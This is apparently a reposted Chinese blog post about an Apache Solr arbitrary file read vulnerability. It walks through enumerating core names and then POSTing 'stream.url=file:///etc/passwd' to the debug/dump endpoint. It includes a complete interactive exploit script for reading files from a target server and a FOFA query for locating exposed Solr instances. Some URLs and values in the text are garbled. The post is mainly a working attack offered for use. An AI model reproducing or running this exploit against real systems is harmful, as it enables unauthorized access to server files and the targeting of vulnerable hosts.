.3.18发布的漏洞，也就是今天刚出来的。
非原创！原帖请点“阅读原文”
漏洞利用方式很简单，但是网上说的不是很完整。
首先我们需要访问：
/solr/admin/cores?indexInfo=falsewt=json
然后看相应数据：
{"responseHeader":{"status":0,"QTime":0},"initFailures":{},"status":{"ingredients":{"name":"ingredients","instanceDir":"/var/solr/data/ingredients","dataDir":"/var/solr/data/ingredients/data/","config":"solrconfig.xml","schema":"schema.xml","startTime":"-03-18T11:41:26.Z","uptime":}}}
差不多这个样子，ingredients就是我们需要的
构造路径：
"/solr/".ins."/debug/dump?param=ContentStreamswt=json"
ins就是我们得到的实例对象的名称
他们说会返回xml格式的，网上的都是不带wt=json，但是我发现，dump接受这个参数，也会输出json格式，并且我们在上面获取ins的时候是可以判断服务器类型的
上面的话呢应该是：
/solr/ingredients/debug/dump?param=ContentStreamswt=json
然后是个post数据包，路径有了，内容就是：
stream.url=file:///etc/passwd
然后也会得到一个json，这里就不带结果了
最后附上exp：
#defineinsqian="name":"#defineinshou="#definecontentqian="stream":"#definecontenthou="}]functionGetinstance(url){res=HttpGetSafe(url."/solr/admin/cores?indexInfo=falsewt=json","User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:86.0)Gecko/Firefox/86.0");if(StrFindStr(res[0],"initFailures",0)=="-1"){return"";}returnGettextMiddle(res[0],insqian,inshou);}functionGetFileContent(url,ins,FilePath){res=HttpPostSafe(url."/solr/".ins."/debug/dump?param=ContentStreamswt=json","stream.url=file://".FilePath,"User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:86.0)Gecko/Firefox/86.0");con=GettextMiddle(res[0],contentqian,contenthou);returnStrReplace(con,"\\n",StrRN());}functionmain(args){print("请输入测试的站点:");url=input();ins=Getinstance(url);if(ins==""){print("不存在漏洞");}else{print("可能存在漏洞,instanceName:".ins.",请输入要查看的文件名称:");wb=input();while(wb!="exit"){print(GetFileContent(url,ins,wb));wb=input();}}}
带一张效果图:
fofa搜索：
app="Apache-Solr"预览时标签不可点收录于话题#个上一篇下一篇